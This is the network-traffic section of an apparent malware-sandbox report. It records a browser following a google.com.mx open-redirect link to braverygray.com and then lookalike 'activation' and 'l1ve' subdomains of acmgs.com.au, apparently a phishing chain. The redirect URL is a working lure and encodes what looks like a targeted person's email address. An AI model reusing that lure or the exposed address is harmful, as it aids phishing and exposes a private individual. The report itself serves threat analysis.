Dec 20, 2024 20:31:59.831511974 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.831787109 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:31:59.831814051 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:31:59.877204895 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:00.757647991 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:00.757730961 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:00.757834911 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:00.758019924 CET	49773	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:00.758054972 CET	443	49773	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.121244907 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.121311903 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.121356010 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.121414900 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.121448994 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.121462107 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.121495008 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.147238970 CET	49774	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.147288084 CET	443	49774	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.147367001 CET	49774	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.147664070 CET	49774	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.147685051 CET	443	49774	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.164983034 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.165075064 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.165081024 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.165122032 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.165146112 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.210639954 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.214065075 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.214112997 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.214163065 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.214174032 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.214226007 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.573071957 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.573115110 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.573159933 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.573206902 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.573246002 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.573261023 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.573302984 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.573309898 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.573424101 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.573472977 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.573839903 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.573941946 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.574068069 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.574358940 CET	49771	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.574373960 CET	443	49771	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.575164080 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.575197935 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.606899977 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.606930971 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.606991053 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.607480049 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.607489109 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.641470909 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.641563892 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:01.641750097 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.641875982 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:01.641899109 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:02.631961107 CET	443	49774	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:02.632431984 CET	49774	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:02.632457972 CET	443	49774	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:02.632816076 CET	443	49774	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:02.633126020 CET	49774	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:02.633186102 CET	443	49774	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:02.673450947 CET	49774	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.014799118 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.015166044 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.015182972 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.015588999 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.015901089 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.015973091 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.016096115 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.017988920 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.018199921 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.018264055 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.019722939 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.019809961 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.020788908 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.020875931 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.020993948 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.021011114 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.021091938 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.021119118 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.059338093 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.064512968 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.064739943 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.064763069 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.065093994 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.065355062 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.065448046 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.065516949 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.065552950 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.107357979 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.111761093 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.984644890 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.984750986 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:03.984793901 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.985594034 CET	49777	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:03.985611916 CET	443	49777	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:04.061841011 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:04.062040091 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:04.062107086 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:04.062514067 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:04.062562943 CET	443	49775	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:04.062592983 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:04.062619925 CET	49775	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:04.269134998 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:04.269208908 CET	443	49776	159.89.96.140	192.168.2.8
Dec 20, 2024 20:32:04.269253969 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:04.269469976 CET	49776	443	192.168.2.8	159.89.96.140
Dec 20, 2024 20:32:04.269481897 CET	443	49776	159.89.96.140	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 20:30:40.394458055 CET	53	61304	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:40.435446978 CET	53	49691	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:43.865813971 CET	53	62702	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:44.762406111 CET	54744	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:44.762608051 CET	62899	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:44.899998903 CET	53	54744	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:44.900015116 CET	53	62899	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:45.977900028 CET	58196	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:45.978524923 CET	50245	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:46.198333025 CET	53	50245	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:46.221741915 CET	53	58196	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:48.739401102 CET	64821	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:48.739557028 CET	61440	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:48.878727913 CET	53	64821	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:49.004870892 CET	53	61440	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:54.188002110 CET	62667	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:54.188163996 CET	52865	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:54.413487911 CET	53	62667	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:54.423604965 CET	53	52865	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:56.210491896 CET	55285	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:56.210622072 CET	59869	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:56.408150911 CET	53	59869	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:56.408529043 CET	53	55285	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:58.351551056 CET	54523	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:58.351871967 CET	64345	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:30:58.488231897 CET	53	54523	1.1.1.1	192.168.2.8
Dec 20, 2024 20:30:58.489053011 CET	53	64345	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:00.805382967 CET	53	55017	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:04.369791031 CET	55376	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:04.370042086 CET	58836	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:04.507338047 CET	53	58836	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:04.507726908 CET	53	55376	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:17.979847908 CET	51159	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:17.979990005 CET	55454	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:18.206257105 CET	53	55454	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:18.216398001 CET	53	51159	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:19.615430117 CET	53	52255	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:21.333937883 CET	57914	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:21.334136009 CET	59300	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:21.470921040 CET	53	59300	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:21.471018076 CET	53	57914	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:22.656868935 CET	138	138	192.168.2.8	192.168.2.255
Dec 20, 2024 20:31:23.818461895 CET	59365	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:23.818584919 CET	64542	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:24.041274071 CET	53	64542	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:24.041321993 CET	53	59365	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:35.777817965 CET	55125	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:35.777973890 CET	60880	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:35.779752016 CET	59979	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:35.779913902 CET	64787	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:36.000828028 CET	53	60880	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:36.001076937 CET	53	55125	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:36.001811028 CET	53	64787	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:36.008311987 CET	53	59979	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:40.304198980 CET	53	52256	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:40.618304968 CET	52349	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:40.618733883 CET	61038	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:31:40.841185093 CET	53	52349	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:40.849590063 CET	53	61038	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:42.584189892 CET	53	53655	1.1.1.1	192.168.2.8
Dec 20, 2024 20:31:46.657246113 CET	53	62507	1.1.1.1	192.168.2.8
Dec 20, 2024 20:32:01.135740042 CET	63230	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:32:01.136439085 CET	54034	53	192.168.2.8	1.1.1.1
Dec 20, 2024 20:32:01.572863102 CET	53	63230	1.1.1.1	192.168.2.8
Dec 20, 2024 20:32:01.572880983 CET	53	54034	1.1.1.1	192.168.2.8

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 20, 2024 20:30:49.005135059 CET	192.168.2.8	1.1.1.1	c227	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 20:30:44.762406111 CET	192.168.2.8	1.1.1.1	0xd46f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:44.762608051 CET	192.168.2.8	1.1.1.1	0x13d4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 20:30:45.977900028 CET	192.168.2.8	1.1.1.1	0x50aa	Standard query (0)	google.com.mx	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:45.978524923 CET	192.168.2.8	1.1.1.1	0x5c08	Standard query (0)	google.com.mx	65	IN (0x0001)	false
Dec 20, 2024 20:30:48.739401102 CET	192.168.2.8	1.1.1.1	0x3546	Standard query (0)	www.google.com.mx	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:48.739557028 CET	192.168.2.8	1.1.1.1	0xdfd2	Standard query (0)	www.google.com.mx	65	IN (0x0001)	false
Dec 20, 2024 20:30:54.188002110 CET	192.168.2.8	1.1.1.1	0x29ac	Standard query (0)	braverygray.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:54.188163996 CET	192.168.2.8	1.1.1.1	0x17fa	Standard query (0)	braverygray.com	65	IN (0x0001)	false
Dec 20, 2024 20:30:56.210491896 CET	192.168.2.8	1.1.1.1	0x8e33	Standard query (0)	img.icons8.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.210622072 CET	192.168.2.8	1.1.1.1	0x5a1c	Standard query (0)	img.icons8.com	65	IN (0x0001)	false
Dec 20, 2024 20:30:58.351551056 CET	192.168.2.8	1.1.1.1	0x15e	Standard query (0)	img.icons8.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.351871967 CET	192.168.2.8	1.1.1.1	0x93c0	Standard query (0)	img.icons8.com	65	IN (0x0001)	false
Dec 20, 2024 20:31:04.369791031 CET	192.168.2.8	1.1.1.1	0x8783	Standard query (0)	0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:04.370042086 CET	192.168.2.8	1.1.1.1	0x3c9e	Standard query (0)	0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au	65	IN (0x0001)	false
Dec 20, 2024 20:31:17.979847908 CET	192.168.2.8	1.1.1.1	0x2146	Standard query (0)	881a0950-e455dbd6.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:17.979990005 CET	192.168.2.8	1.1.1.1	0xe177	Standard query (0)	881a0950-e455dbd6.acmgs.com.au	65	IN (0x0001)	false
Dec 20, 2024 20:31:21.333937883 CET	192.168.2.8	1.1.1.1	0xb766	Standard query (0)	881a0950-e455dbd6.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:21.334136009 CET	192.168.2.8	1.1.1.1	0xbbf3	Standard query (0)	881a0950-e455dbd6.acmgs.com.au	65	IN (0x0001)	false
Dec 20, 2024 20:31:23.818461895 CET	192.168.2.8	1.1.1.1	0x4d56	Standard query (0)	85089a4f-e455dbd6.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:23.818584919 CET	192.168.2.8	1.1.1.1	0x3cec	Standard query (0)	85089a4f-e455dbd6.acmgs.com.au	65	IN (0x0001)	false
Dec 20, 2024 20:31:35.777817965 CET	192.168.2.8	1.1.1.1	0x9cd8	Standard query (0)	2394395c-e455dbd6.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:35.777973890 CET	192.168.2.8	1.1.1.1	0xa21e	Standard query (0)	2394395c-e455dbd6.acmgs.com.au	65	IN (0x0001)	false
Dec 20, 2024 20:31:35.779752016 CET	192.168.2.8	1.1.1.1	0x11a0	Standard query (0)	l1ve.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:35.779913902 CET	192.168.2.8	1.1.1.1	0xe95a	Standard query (0)	l1ve.acmgs.com.au	65	IN (0x0001)	false
Dec 20, 2024 20:31:40.618304968 CET	192.168.2.8	1.1.1.1	0xf17d	Standard query (0)	dab02a46-e455dbd6.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:40.618733883 CET	192.168.2.8	1.1.1.1	0x2a48	Standard query (0)	dab02a46-e455dbd6.acmgs.com.au	65	IN (0x0001)	false
Dec 20, 2024 20:32:01.135740042 CET	192.168.2.8	1.1.1.1	0xa40	Standard query (0)	754c237a-e455dbd6.acmgs.com.au	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:32:01.136439085 CET	192.168.2.8	1.1.1.1	0xdd2	Standard query (0)	754c237a-e455dbd6.acmgs.com.au	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 20:30:44.899998903 CET	1.1.1.1	192.168.2.8	0xd46f	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:44.900015116 CET	1.1.1.1	192.168.2.8	0x13d4	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 20:30:46.221741915 CET	1.1.1.1	192.168.2.8	0x50aa	No error (0)	google.com.mx		216.58.208.227	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:48.878727913 CET	1.1.1.1	192.168.2.8	0x3546	No error (0)	www.google.com.mx		142.250.181.131	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:54.413487911 CET	1.1.1.1	192.168.2.8	0x29ac	No error (0)	braverygray.com		162.241.114.35	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408150911 CET	1.1.1.1	192.168.2.8	0x5a1c	No error (0)	img.icons8.com	1004834818.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	img.icons8.com	1004834818.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	1004834818.rsc.cdn77.org		169.150.255.183	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	1004834818.rsc.cdn77.org		195.181.175.40	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	1004834818.rsc.cdn77.org		37.19.194.81	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	1004834818.rsc.cdn77.org		212.102.56.178	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	1004834818.rsc.cdn77.org		207.211.211.26	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	1004834818.rsc.cdn77.org		195.181.170.19	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:56.408529043 CET	1.1.1.1	192.168.2.8	0x8e33	No error (0)	1004834818.rsc.cdn77.org		169.150.255.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	img.icons8.com	1004834818.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	1004834818.rsc.cdn77.org		169.150.255.183	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	1004834818.rsc.cdn77.org		195.181.175.40	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	1004834818.rsc.cdn77.org		169.150.255.180	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	1004834818.rsc.cdn77.org		212.102.56.178	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	1004834818.rsc.cdn77.org		195.181.170.19	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	1004834818.rsc.cdn77.org		207.211.211.26	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.488231897 CET	1.1.1.1	192.168.2.8	0x15e	No error (0)	1004834818.rsc.cdn77.org		37.19.194.81	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:30:58.489053011 CET	1.1.1.1	192.168.2.8	0x93c0	No error (0)	img.icons8.com	1004834818.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 20:31:04.507726908 CET	1.1.1.1	192.168.2.8	0x8783	No error (0)	0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:18.216398001 CET	1.1.1.1	192.168.2.8	0x2146	No error (0)	881a0950-e455dbd6.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:21.471018076 CET	1.1.1.1	192.168.2.8	0xb766	No error (0)	881a0950-e455dbd6.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:24.041321993 CET	1.1.1.1	192.168.2.8	0x4d56	No error (0)	85089a4f-e455dbd6.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:36.001076937 CET	1.1.1.1	192.168.2.8	0x9cd8	No error (0)	2394395c-e455dbd6.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:36.008311987 CET	1.1.1.1	192.168.2.8	0x11a0	No error (0)	l1ve.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:31:40.841185093 CET	1.1.1.1	192.168.2.8	0xf17d	No error (0)	dab02a46-e455dbd6.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false
Dec 20, 2024 20:32:01.572863102 CET	1.1.1.1	192.168.2.8	0xa40	No error (0)	754c237a-e455dbd6.acmgs.com.au		159.89.96.140	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

google.com.mx

www.google.com.mx

braverygray.com

https:

img.icons8.com

0nlineactivations-0nlineactivations-0nlineactivations.acmgs.com.au

881a0950-e455dbd6.acmgs.com.au

l1ve.acmgs.com.au

dab02a46-e455dbd6.acmgs.com.au

754c237a-e455dbd6.acmgs.com.au

85089a4f-e455dbd6.acmgs.com.au

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49716	216.58.208.227	443	6516	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 19:30:47 UTC	1013	OUT	GET //url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t HTTP/1.1 Host: google.com.mx Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIk6HLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 19:30:48 UTC	873	IN	HTTP/1.1 301 Moved Permanently Location: https://www.google.com.mx/url?ob=pkmcekw7bljbM2dWBuuV7ic1KFgH&aw=f_rand_string_lowercase(8)n9QXkBk0w4OyBDvUpuk&sa=t&whi=f_rand_string_lowercase(8)zOPGXNRztppHiTbPIt5f&url=amp%2Fbraverygray.com/.dd/KcxwjqsanE-SUREDANN-bXdlYmJAd2luZHNvcmhvbWVzdHguY29t Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-JxG3LqtMMMomdR0K9D4T2A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() Date: Fri, 20 Dec 2024 19:30:48 GMT Expires: Sun, 19 Jan 2025 19:30:48 GMT Cache-Control: public, max-age=2592000 Server: gws Content-Length: 462 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
